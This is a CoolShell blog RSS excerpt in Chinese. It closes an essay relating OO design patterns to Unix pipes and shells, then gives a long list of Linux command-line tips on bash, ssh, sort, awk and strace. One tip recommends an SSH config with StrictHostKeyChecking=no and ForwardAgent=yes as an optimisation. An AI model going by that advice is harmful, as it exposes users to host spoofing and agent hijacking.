桥接模式说白了就是组件化，模块化，可以自由拼装。在OO中，其主要是通过让业务类组合一个标准接口来完成，这在非OO的程序设计中用得实在是太多了，主要是通过回调函数或是标准接口来实现。这个也是Unix设计哲学中的主要思想。<strong>在Unix中，文件的权限使用的就是Bridge模式，标准接口是用户，用户组和其它，rwx三个模式，然后用 chmod/chown改一改，这文件就有不同的属主和属性了</strong>。</p>\n<p><strong>Decorator模式</strong>，装饰模式。这个模式在生活中太多了，你给你的手机或电脑贴个什么，挂个什么，吃东西的时候加点什么佐料，多点肉还是多个蛋，一个Unix/Linux命令的各种参数是对这个命令的修饰，等等。<strong>我觉得这个模式在Unix中最经常的体现就是通过管道把命令连接起来来完成一个功能</strong>，比如：ps -elf  是列进程的，用管道 grep hchen就可以达到过滤的目的，grep的逻辑没有侵入ps中，grep 修饰了 ps，但是其组合起来完成了一个特定的功能。可见，这和OO没有什么关系。</p>\n<p><strong>Facade模式，</strong>这个模式我们每个人从会编程的时候就在无意识地用这个模式了。这个模式就是把一大堆类拼装起来，并统一往外提供提口。在现实生活中这样的例子太多了，比如：旅行社把机票，酒店，景点，导游，司机，进店打了一个包叫旅行；IBM把主机，存储，OS，J2EE，DB，网络，流程打了个包叫企业级解决方案。Unix中最典型的一个例子就是用Shell脚本组合各种命令来创造一个新的功能，这是的Shell中的各种命令通过标准I/O这个接口进行组合交互。</p>\n<p><strong>Proxy模式</strong>，代理模式。我们租个房，买个机票，打个官司，都少不了代理，人大代表代理了老百姓去行使政治权力。我们去饭馆里吃饭也是一种代理模式，因为我们只管吃就好了，洗菜做饭洗碗的工作都被Proxy帮你干了，于是你就省事多了。操作系统就是硬件的代理，CDN就是网站的代理，……使用代理你可以让事情变理更简单，也可以在代理层加入一些权限检查，这样可以让业务模块更关注业务，而把一些非业务的事情剥离出来交给代理以完成解耦。可见这个模式和OO没啥关系。<strong>Unix下这个模式最佳体现就是Shell，它代理了系统调用并提供UI</strong>。还有很多命令会帮你把/proc目录下的那些文件内容整理和显示出来。</p>\n<p><strong>Chain of Responsibility模式</strong>，劫匪来抢银行，保安搞不定，就交给110，110搞不定就交给武警。有什么事件发生时的响应的Escalation Path，办公中的逐级审批。这个模式用一个函数指针数组或是栈结构就可以实现了。这个思想很像编程中的异常处理机制，一层一层地往上传递异常直到异常被捕捉。<strong>在Unix下，一个最简单的例子就是用 &amp;&amp; 或 || 来把命令拼起来，如：cmd1 &amp;&amp; cmd2  或 cmd3 || cmd4 ， 如果cmd1失败了，cmd2就不会执行，如果cmd3失败了，cmd4才会执行。</strong>如： cd lib &amp;&amp; rm -rf .o 或 ping -c1 coolshell.cn &amp;&amp; ssh haoel@coolshell.cn</p>\n<p><strong>Command模式</strong>，这恐怕是软件里最多的模式了，比如：编译器里的Undo/Redo，宏录制。还有数据库的事务处理，线程池，设置向导，包括程序并行执行的指令集等等。这个模式主要是把一个对象的行为封装成一个一个的有相同接口的command，然后交给一个统一的命令执行器执行或管理这些命令。<strong>这个模式和我们的Unix/Linux机器启动时在/etc/init.d下的那些S和K开头的脚本很像，把各种daemon的启动和退出行为封装成一个脚本其支持reload/start/stop/status这样的命令，然后把他们按一定的规范做符号链接到/etc/init.d目录下，这样操作系统就会接管这些daemon的启动和退出</strong>。</p>\n<p><strong>Observer模式</strong>，观察者模式，这个模式也叫pub-sub模式，很像我们用手机订阅手机报，微博的follow的信息流也是这样的一个模式。MVC中的C会sub V中的事件，用非OO的方式其实也是一个回调函数的事。在很多异步系统中，你需要知道最终的调用有没有成功，比如说调用支付宝的支付接口，你需要向支付宝注册一个回调的接口，以便支付宝回调你。<strong>Linux下的一些系统调用如epoll/aio/inotify/signal都是这种思路</strong>。</p>\n<p><strong>Strategy 模式</strong>，策略模式，这个模式和Bridge模式很像，只不过Bridge是结构模式，其主要是用于对象的构造；而Strategy是行为模式，主要是用于对象的行为。策略模式很像浏览器里的各种插件，只要你装了某个插件，你就有某个功能。你可以安装多个插件来让你的浏览器有更多的功能（书本上的这个模式是你只能选用一个算法，当然，我们不用那么教条）。<strong>就像《<a title=\"你可能不知道的Shell\" href=\"https://coolshell.cn/articles/8619.html\" target=\"_blank\">你可能不知道的Shell</a>》中的那个设置设置$EDITOR变量后可以按ctrl+x e启动编译器，或是用set -o vi或set -o emacs 来让自己的shell像vi或 emacs 一样，或是像find -exec或xargs一样的拼装命令</strong>。</p>\n<p><strong>Bridge 和 Strategy是OO设计模式里的“Favor Composition Over Inheritance” 的典范，其实现了接口与实现分离的</strong>。Unix中的Shell就是一种，你可随意地更换不同的Shell。还有Emacs中的LISP驱动C，C实现了引擎，交给LISP实现逻辑。把程序分为前端和后端，通过socket专用应用协议进行通讯，前端实现策略，后端实现机制。再看看makefile把编译器和源代码的解耦，命令行输出这个接口可以把一个复杂的功能解耦并抽像成各种各样小而美的小功能命令，等等这样的例子，你会发现，还有大量的编程框架都会多少采用这样的思想，可以让你的软件像更换汽车零件一样方便。我在用<a title=\"用Unix的设计思想来应对多变的需求\" href=\"https://coolshell.cn/articles/7236.html\" target=\"_blank\">Unix的设计思想来应对变更的需求</a>中说过灯具厂，灯泡厂，和开关厂的例子。</p>\n<h4>后记</h4>\n<p>因为写作仓促，上面的那些东西，可能会你让你觉得有些牵强，那么抱歉了，你可以帮我看看在生活中和 Unix里有没有更帅的例子。</p>\n<p>不过，我们会发现上面OO搞出来的那么多模式在Unix下看来好像没有那么复杂，而且Unix下看起来并没有那么多模式，而且Unix中的设计模式无非就是这么几个关键词：<strong>单一，简洁，模块，拼装</strong>。我们再来看看OO设计的两大准则：<strong>1）钟情于组合而不是继承，2）依赖于接口而不是实现</strong>。还有S.O.L.I.D原则也一样（如果你仔细观察，你会发现SOLID原则在Unix下也是完美地体现）。你看，Unix和OO设计模式是不是完美的统一吗？</p>\n<p>我有种强烈的感觉——<strong>Unix对这些所谓的OO的设计模式实现得更好</strong>。因为Unix就一条设计模式！再次推荐《<em><a href=\"http://book.douban.com/subject/5387401/\" target=\"_blank\">The Art of Unix Programming</a></em>》</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-8967 aligncenter\" alt=\"Unix Kiss\" src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss.png\" width=\"468\" height=\"219\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss.png 468w, https://coolshell.cn/wp-content/uploads/2013/01/kiss-300x140.png 300w\" sizes=\"(max-width: 468px) 100vw, 468px\" /></p>\n<h4>餐后甜点</h4>\n<p>我上面提到了《<em><a href=\"http://book.douban.com/subject/5387401/\" target=\"_blank\">The Art of Unix Programming</a></em>》，所以我有必要再谈谈这本书中我中毒最深的一章《模块性：保持清晰和简洁》中所谈到的胶合层。</p>\n<p>胶合层这一节中说了，我们开发软件一般要么Top-Down，要么Bottom-Up，这两种方法都有好有不好。顶层一般是应用逻辑层，底层一般是原语层（我理解为技术沉淀层，或是技术基础层）。自顶向下的开发，你可能会因为开发到底层后发现底层可沉淀的东西越来越不爽（因为被可能被很多业务逻辑所侵入），如果自底向上的开发，你可能越到上层你越发现很多你下面干的基础上工作有很多用不上（比如干多了）。所以，最好的方式是同时进行，一会顶层，一会底层，来来回回的开发——说白了就是在开发中不断的重构，边开发边理解边沉淀。</p>\n<p>无论怎么样，你会发现需要一层胶合层来胶合业务逻辑层和底层原语层（软件开发中的业务层和技术层的胶合），Unix的设计哲学认为，这层胶合层应该尽量地薄，胶合层越多，我们就只能在其中苦苦挣扎。</p>\n<p>其实，<strong>胶合层原则就是分离原则上更为上层地体现，策略（业务逻辑）和机制（基础技术或原语）的清楚的分离。你可以看到，OO和Unix都是在做这样的分离。但是需要注意到的时，OO用抽象接口来做这个分离——很多OO的模式中，抽象层太多了，导致胶合层太过于复杂了，也就是说，OO鼓励了——“厚重地胶合和复杂层次”，反而增加了程序的复杂度（这种情况在恶化中）。而Unix采用的是薄的胶合层，薄地相当的优雅</strong>。（通过这段话的描述，我相信你会明白了《<a title=\"如此理解面向对象编程\" href=\"https://coolshell.cn/articles/8745.html\" target=\"_blank\" rel=\"bookmark\">如此理解面向对象编程</a>》中的个例子——为什么用OO来实现会比用非OO来实现更为地恶心——那就是因为OO胶合层太复杂了）</p>\n<p><strong>OO的最大的问题就——接口复杂度太高，胶合层太多！</strong>（注：Unix编程艺术这本书里说了软件有三个复杂度：代码量、接口、实现，这三个东西构成了我们的软件复杂度）</p>\n<h4>再送一个果盘</h4>\n<p>大家一定记得《<a title=\"SteveY对Amazon和Google平台的长篇大论 - 60,581 人阅读\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的长篇大论</a>》中Amazon中那个令人非常向往的SOA式的架构。因为以前在Amazon，有些话不好说。现在可以说了，我在Amazon里，我个人对这个服务化的架构相当的不待见，太复杂，复杂以乱七八糟，方向是好的，想法也是好的，但是这东西和OO一样，造成大量的接口复杂度，今天的Amazon，完全没人知道各个服务是怎么个调用的，一团乱麻（其内部并不像你看到的AWS那么的美妙。注：AWS是非常不错的，是相当好的设计）。</p>\n<p><strong>那么我们怎么来解决SOA的接口复杂度问题？其实，Unix早就给出了答案——数据驱动编程</strong>（详见：《Unix编程艺术》的第9.1章），在我离开Amazon的时候，美国总部的Principle SDE们在吐槽今天Amazon的SOA架构，更好的架构应该是数据驱动式的。（今天还在Amazon的同学可以上内网boardcast上看看相关的Principle Talk视频）</p>\n<p>（瞎扯一句：这本来是我想在2012年杭州QCon上的分享的一个主题，无奈当时被大会组织者给拒了，所以只好讲了一个《建一支小团队》，今天有多人还是不能明白甚至反感我的那个《小团队》的演讲，但是我相信那是必然的趋势，就像十年前大家在说“程序员只能干到30岁”时，当时的我我却毫不犹豫地相信十年后，30岁以上的有经验的老程序员一定会成为各个公司角逐和竟争的红人）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" alt=\"用Unix的设计思想来应对多变的需求\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_title\">用Unix的设计思想来应对多变的需求</a></li><li ><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"一些软件设计的原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_title\">一些软件设计的原则</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li><li ><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"需求变化与IoC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_title\">需求变化与IoC</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8961.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>92</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>应该知道的Linux技巧</title>\n\t\t<link>https://coolshell.cn/articles/8883.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8883.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 09 Jan 2013 00:24:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[Shell]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8883</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章来源于Quroa的一个问答《What are some time-saving tips that every Linux user should kn...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8883.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-8899\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225.jpg\" width=\"300\" height=\"225\" />这篇文章来源于Quroa的一个问答《<a href=\"http://www.quora.com/Linux/What-are-some-time-saving-tips-that-every-Linux-user-should-know#\" target=\"_blank\">What are some time-saving tips that every Linux user should know?</a>》—— Linux用户有哪些应该知道的提高效率的技巧。我觉得挺好的，总结得比较好，把其转过来，并加了一些自己的理解。 首先，我想告诉大家，<strong>在Unix/Linux下，最有效率技巧的不是操作图形界面，而是命令行操作，因为命令行意味着自动化</strong>。如果你看过《<a title=\"你可能不知道的Shell\" href=\"https://coolshell.cn/articles/8619.html\" target=\"_blank\">你可能不知道的Shell</a>》以及《<a title=\"28个Unix/Linux的命令行神器\" href=\"https://coolshell.cn/articles/7829.html\" target=\"_blank\">28个Unix/Linux的命令行神器</a>》你就会知道Linux有多强大，这个强大完全来自于命令行，于是，就算你不知道怎么去<a title=\"做个环保主义的程序员\" href=\"https://coolshell.cn/articles/7186.html\" target=\"_blank\">做一个环保主义的程序员</a>，至少他们可以让你少熬点夜，从而有利于你的身体健康和性生活。下面是一个有点长的列表，正如作者所说，你并不需要知道所有的这些东西，但是如果你还在很沉重地在使用Linux的话，这些东西都值得你看一看。 （注：如果你想知道下面涉及到的命令的更多的用法，你一定要man一点。对于一些命令，你可以需要先yum或apt-get来安装一下，如果有什么问题，别忘了Google。如果你要Baidu的话，我仅代表这个地球上所有的生物包括微生物甚至细菌病毒和小强BS你到宇宙毁灭）</p>\n<h4>基础</h4>\n<ul>\n<li><strong>学习 <a href=\"http://www.quora.com/Bash-shell\" target=\"_blank\">Bash</a> </strong>。你可以man bash来看看bash的东西，并不复杂也并不长。你用别的shell也行，但是bash是很强大的并且也是系统默认的。（学习zsh或tsch只会让你在很多情况下受到限制）</li>\n</ul>\n<ul>\n<li><strong>学习 vim</strong> 。在Linux下，基本没有什么可与之竞争的编<del>译</del>辑器（就算你是一个Emacs或Eclipse的重度用户）。你可以看看《<a title=\"简明 Vim 练级攻略\" href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\">简明vim攻略</a>》和 《<a title=\"游戏：VIM大冒险\" href=\"https://coolshell.cn/articles/7166.html\" target=\"_blank\">Vim的冒险游戏</a>》以及《<a title=\"给程序员的VIM速查卡\" href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\">给程序员的Vim速查卡</a>》还有《<a title=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" href=\"https://coolshell.cn/articles/894.html\" target=\"_blank\">把Vim变成一个编程的IDE</a>》等等。</li>\n</ul>\n<ul>\n<li><strong>了解 ssh</strong>。明白不需要口令的用户认证（通过ssh-agent, ssh-add），学会用ssh翻墙，用scp而不是ftp传文件，等等。你知道吗？scp 远端的时候，你可以按tab键来查看远端的目录和文件（当然，需要无口令的用户认证），这都是bash的功劳。</li>\n</ul>\n<p><span id=\"more-8883\"></span></p>\n<ul>\n<li><strong>熟悉bash的作业管理</strong>，如： &amp;, Ctrl-Z, Ctrl-C, jobs, fg, bg, kill, 等等。当然，你也要知道Ctrl+\\（SIGQUIT）和Ctrl+C （SIGINT）的区别。</li>\n</ul>\n<ul>\n<li><strong>简单的文件管理</strong> ： ls 和 ls -l (你最好知道 &#8220;ls -l&#8221; 的每一列的意思), less, head, tail 和 tail -f, ln 和 ln -s (你知道明白hard link和soft link的不同和优缺点), chown, chmod, du (如果你想看看磁盘的大小 du -sk *), df, mount。当然，原作者忘了find命令。</li>\n</ul>\n<ul>\n<li><strong>基础的网络管理</strong>： ip 或 ifconfig, dig。当然，原作者还忘了如netstat, ping, traceroute, 等</li>\n</ul>\n<ul>\n<li><strong>理解正则表达式</strong>，还有grep/egrep的各种选项。比如： -o, -A, 和 -B 这些选项是很值得了解的。</li>\n</ul>\n<ul>\n<li><strong>学习使用 apt-get 和 yum 来查找和安装软件</strong>（前者的经典分发包是Ubuntu，后者的经典分发包是Redhat），我还建议你试着从源码编译安装软件。</li>\n</ul>\n<p><b>日常</b></p>\n<ul>\n<li>在 bash 里，使用 Ctrl-R 而不是上下光标键来查找历史命令。</li>\n</ul>\n<ul>\n<li>在 bash里，使用 Ctrl-W 来删除最后一个单词，使用 Ctrl-U 来删除一行。请man bash后查找Readline Key Bindings一节来看看bash的默认热键，比如：Alt-. 把上一次命令的最后一个参数打出来，而Alt-* 则列出你可以输入的命令。</li>\n</ul>\n<ul>\n<li>回到上一次的工作目录： cd &#8211;  （回到home是 cd ~）</li>\n</ul>\n<ul>\n<li>使用 xargs。这是一个很强大的命令。你可以使用-L来限定有多少个命令，也可以用-P来指定并行的进程数。如果你不知道你的命令会变成什么样，你可以使用xargs echo来看看会是什么样。当然， -I{} 也很好用。示例：</li>\n</ul>\n<blockquote>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">find . -name \\*.py | xargs grep some_function\n\ncat hosts | xargs -I{} ssh root@{} hostname</pre>\n</blockquote>\n<ul>\n<li>pstree -p 可以帮你显示进程树。（读过我的那篇《<a title=\"一个fork的面试题\" href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\">一个fork的面试题</a>》的人应该都不陌生）</li>\n</ul>\n<ul>\n<li>使用 pgrep 和 pkill 来找到或是kill 某个名字的进程。 (-f 选项很有用).</li>\n</ul>\n<ul>\n<li>了解可以发给进程的信号。例如：要挂起一个进程，使用 kill -STOP [pid]. 使用 man 7 signal 来查看各种信号，使用kill -l 来查看数字和信号的对应表</li>\n</ul>\n<ul>\n<li>使用 nohup 或  disown 如果你要让某个进程运行在后台。</li>\n</ul>\n<ul>\n<li>使用netstat -lntp来看看有侦听在网络某端口的进程。当然，也可以使用 lsof。</li>\n</ul>\n<ul>\n<li>在bash的脚本中，你可以使用 set -x 来debug输出。使用 set -e 来当有错误发生的时候abort执行。考虑使用 set -o pipefail 来限制错误。还可以使用trap来截获信号（如截获ctrl+c）。</li>\n</ul>\n<ul>\n<li>在bash 脚本中，subshells (写在圆括号里的) 是一个很方便的方式来组合一些命令。一个常用的例子是临时地到另一个目录中，例如：</li>\n</ul>\n<blockquote>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># do something in current dir\n(cd /some/other/dir; other-command)\n# continue in original dir</pre>\n</blockquote>\n<ul>\n<li>在 bash 中，注意那里有很多的变量展开。如：检查一个变量是否存在: ${name:?error message}。如果一个bash的脚本需要一个参数，也许就是这样一个表达式 input_file=${1:?usage: $0 input_file}。一个计算表达式： i=$(( (i + 1) % 5 ))。一个序列： {1..10}。 截断一个字符串： ${var%suffix} 和 ${var#prefix}。 示例： if var=foo.pdf, then echo ${var%.pdf}.txt prints &#8220;foo.txt&#8221;.</li>\n</ul>\n<ul>\n<li>通过 &lt;(some command) 可以把某命令当成一个文件。示例：比较一个本地文件和远程文件 /etc/hosts： diff /etc/hosts &lt;(ssh somehost cat /etc/hosts)</li>\n</ul>\n<ul>\n<li>了解什么叫 &#8220;<a href=\"http://zh.wikipedia.org/wiki/Here%E6%96%87%E6%A1%A3\" target=\"_blank\">here documents</a>&#8221; ，就是诸如 cat &lt;&lt;EOF 这样的东西。</li>\n</ul>\n<ul>\n<li>在 bash中，使用重定向到标准输出和标准错误。如： some-command &gt;logfile 2&gt;&amp;1。另外，要确认某命令没有把某个打开了的文件句柄重定向给标准输入，最佳实践是加上 &#8220;&lt;/dev/null&#8221;，把/dev/null重定向到标准输入。</li>\n</ul>\n<ul>\n<li>使用 man ascii 来查看 ASCII 表。</li>\n</ul>\n<ul>\n<li>在远端的 ssh 会话里，使用 screen 或 dtach 来保存你的会话。（参看《<a title=\"28个Unix/Linux的命令行神器\" href=\"https://coolshell.cn/articles/7829.html\" target=\"_blank\">28个Unix/Linux的命令行神器</a>》）</li>\n</ul>\n<ul>\n<li>要来debug Web，试试curl 和 curl -I 或是 wget 。我觉得debug Web的利器是firebug，curl和wget是用来抓网页的，呵呵。</li>\n</ul>\n<ul>\n<li>把 HTML 转成文本： lynx -dump -stdin</li>\n</ul>\n<ul>\n<li>如果你要处理XML，使用 xmlstarlet</li>\n</ul>\n<ul>\n<li>对于 Amazon S3， s3cmd 是一个很方便的命令（还有点不成熟）</li>\n</ul>\n<ul>\n<li>在 ssh中，知道怎么来使用ssh隧道。通过 -L or -D (还有-R) ，翻墙神器。</li>\n</ul>\n<ul>\n<li>你还可以对你的ssh 做点优化。比如，.ssh/config 包含着一些配置：避免链接被丢弃，链接新的host时不需要确认，转发认证，以前使用压缩（如果你要使用scp传文件）：</li>\n</ul>\n<blockquote>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">TCPKeepAlive=yes\nServerAliveInterval=15\nServerAliveCountMax=6\nStrictHostKeyChecking=no\nCompression=yes\nForwardAgent=yes</pre>\n</blockquote>\n<ul>\n<li>如果你有输了个命令行，但是你改变注意了，但你又不想删除它，因为你要在历史命令中找到它，但你也不想执行它。那么，你可以按下 Alt-# ，于是这个命令关就被加了一个#字符，于是就被注释掉了。</li>\n</ul>\n<p><b>数据处理 </b></p>\n<ul>\n<li>了解 sort 和 uniq 命令 (包括 uniq 的 -u 和 -d 选项).</li>\n</ul>\n<ul>\n<li>了解用 cut, paste, 和 join 命令来操作文本文件。很多人忘了在cut前使用join。</li>\n</ul>\n<ul>\n<li>如果你知道怎么用sort/uniq来做集合交集、并集、差集能很大地促进你的工作效率。假设有两个文本文件a和b已解被 uniq了，那么，用sort/uniq会是最快的方式，无论这两个文件有多大（sort不会被内存所限，你甚至可以使用-T选项，如果你的/tmp目录很小）</li>\n</ul>\n<blockquote>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">cat a b | sort | uniq &gt; c   # c is a union b 并集\n\ncat a b | sort | uniq -d &gt; c   # c is a intersect b 交集\n\ncat a b b | sort | uniq -u &gt; c   # c is set difference a - b 差集</pre>\n</blockquote>\n<ul>\n<li>了解和字符集相关的命令行工具，包括排序和性能。很多的Linux安装程序都会设置LANG 或是其它和字符集相关的环境变量。这些东西可能会让一些命令（如：sort）的执行性能慢N多倍（注：就算是你用UTF-8编码文本文件，你也可以很安全地使用ASCII来对其排序）。如果你想Disable那个i18n 并使用传统的基于byte的排序方法，那就设置export LC_ALL=C （实际上，你可以把其放在 .bashrc）。如果这设置这个变量，你的sort命令很有可能会是错的。</li>\n</ul>\n<ul>\n<li>了解 awk 和 sed，并用他们来做一些简单的数据修改操作。例如：求第三列的数字之和： awk &#8216;{ x += $3 } END { print x }&#8217;。这可能会比Python快3倍，并比Python的代码少三倍。</li>\n</ul>\n<ul>\n<li>使用 shuf 来打乱一个文件中的行或是选择文件中一个随机的行。</li>\n</ul>\n<ul>\n<li>了解sort命令的选项。了解key是什么（-t和-k）。具体说来，你可以使用-k1,1来对第一列排序，-k1来对全行排序。</li>\n</ul>\n<ul>\n<li>Stable sort (sort -s) 会很有用。例如：如果你要想对两例排序，先是以第二列，然后再以第一列，那么你可以这样： sort -k1,1 | sort -s -k2,2</li>\n</ul>\n<ul>\n<li>我们知道，在bash命令行下，Tab键是用来做目录文件自动完成的事的。但是如果你想输入一个Tab字符（比如：你想在sort -t选项后输入&lt;tab&gt;字符），你可以先按Ctrl-V，然后再按Tab键，就可以输入&lt;tab&gt;字符了。当然，你也可以使用$&#8217;\\t&#8217;。</li>\n</ul>\n<ul>\n<li>如果你想查看二进制文件，你可以使用hd命令（在CentOS下是hexdump命令），如果你想编译二进制文件，你可以使用bvi命令（<a href=\"http://bvi.sourceforge.net/\" target=\"_blank\">http://bvi.sourceforge.net/</a> 墙）</li>\n</ul>\n<ul>\n<li>另外，对于二进制文件，你可以使用strings（配合grep等）来查看二进制中的文本。</li>\n</ul>\n<ul>\n<li>对于文本文件转码，你可以试一下 iconv。或是试试更强的 uconv 命令（这个命令支持更高级的Unicode编码）</li>\n</ul>\n<ul>\n<li>如果你要分隔一个大文件，你可以使用split命令（split by size）和csplit命令（split by a pattern）。</li>\n</ul>\n<p><b>系统调试</b></p>\n<ul>\n<li>如果你想知道磁盘、CPU、或网络状态，你可以使用 iostat, netstat, top (或更好的 htop), 还有 dstat 命令。你可以很快地知道你的系统发生了什么事。关于这方面的命令，还有iftop, iotop等（参看《<a title=\"28个Unix/Linux的命令行神器\" href=\"https://coolshell.cn/articles/7829.html\" target=\"_blank\">28个Unix/Linux的命令行神器</a>》）</li>\n</ul>\n<ul>\n<li>要了解内存的状态，你可以使用free和vmstat命令。具体来说，你需要注意 “cached” 的值，这个值是Linux内核占用的内存。还有free的值。</li>\n</ul>\n<ul>\n<li>Java 系统监控有一个小的技巧是，你可以使用kill -3 &lt;pid&gt; 发一个SIGQUIT的信号给JVM，可以把堆栈信息（包括垃圾回收的信息）dump到stderr/logs。</li>\n</ul>\n<ul>\n<li>使用 mtr 会比使用 traceroute 要更容易定位一个网络问题。</li>\n</ul>\n<ul>\n<li>如果你要找到哪个socket或进程在使用网络带宽，你可以使用 iftop 或 nethogs。</li>\n</ul>\n<ul>\n<li>Apache的一个叫 ab 的工具是一个很有用的，用quick-and-dirty的方式来测试网站服务器的性能负载的工作。如果你需要更为复杂的测试，你可以试试 siege。</li>\n</ul>\n<ul>\n<li>如果你要抓网络包的话，试试 wireshark 或 tshark。</li>\n</ul>\n<ul>\n<li>了解 strace 和 ltrace。这两个命令可以让你查看进程的系统调用，这有助于你分析进程的hang在哪了，怎么crash和failed的。你还可以用其来做性能profile，使用 -c 选项，你可以使用-p选项来attach上任意一个进程。</li>\n</ul>\n<ul>\n<li>了解用ldd命令来检查相关的动态链接库。注意：<a title=\"ldd 的一个安全问题\" href=\"https://coolshell.cn/articles/1626.html\" target=\"_blank\">ldd的安全问题</a></li>\n</ul>\n<ul>\n<li>使用gdb来调试一个正在运行的进程或分析core dump文件。参看我写的《<a title=\"GDB中应该知道的几个调试方法\" href=\"https://coolshell.cn/articles/3643.html\" target=\"_blank\">GDB中应该知道的几个调试方法</a>》</li>\n</ul>\n<ul>\n<li>学会到 /proc 目录中查看信息。这是一个Linux内核运行时记录的整个操作系统的运行统计和信息，比如： /proc/cpuinfo, /proc/xxx/cwd, /proc/xxx/exe, /proc/xxx/fd/, /proc/xxx/smaps.</li>\n</ul>\n<ul>\n<li>如果你调试某个东西为什么出错时，sar命令会有用。它可以让你看看 CPU, 内存, 网络, 等的统计信息。</li>\n</ul>\n<ul>\n<li>使用 dmesg 来查看一些硬件或驱动程序的信息或问题。</li>\n</ul>\n<p>作者最后加了一个免责声明：Disclaimer: Just because you <i>can</i> do something in bash, doesn&#8217;t necessarily mean you should. ;) （全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" 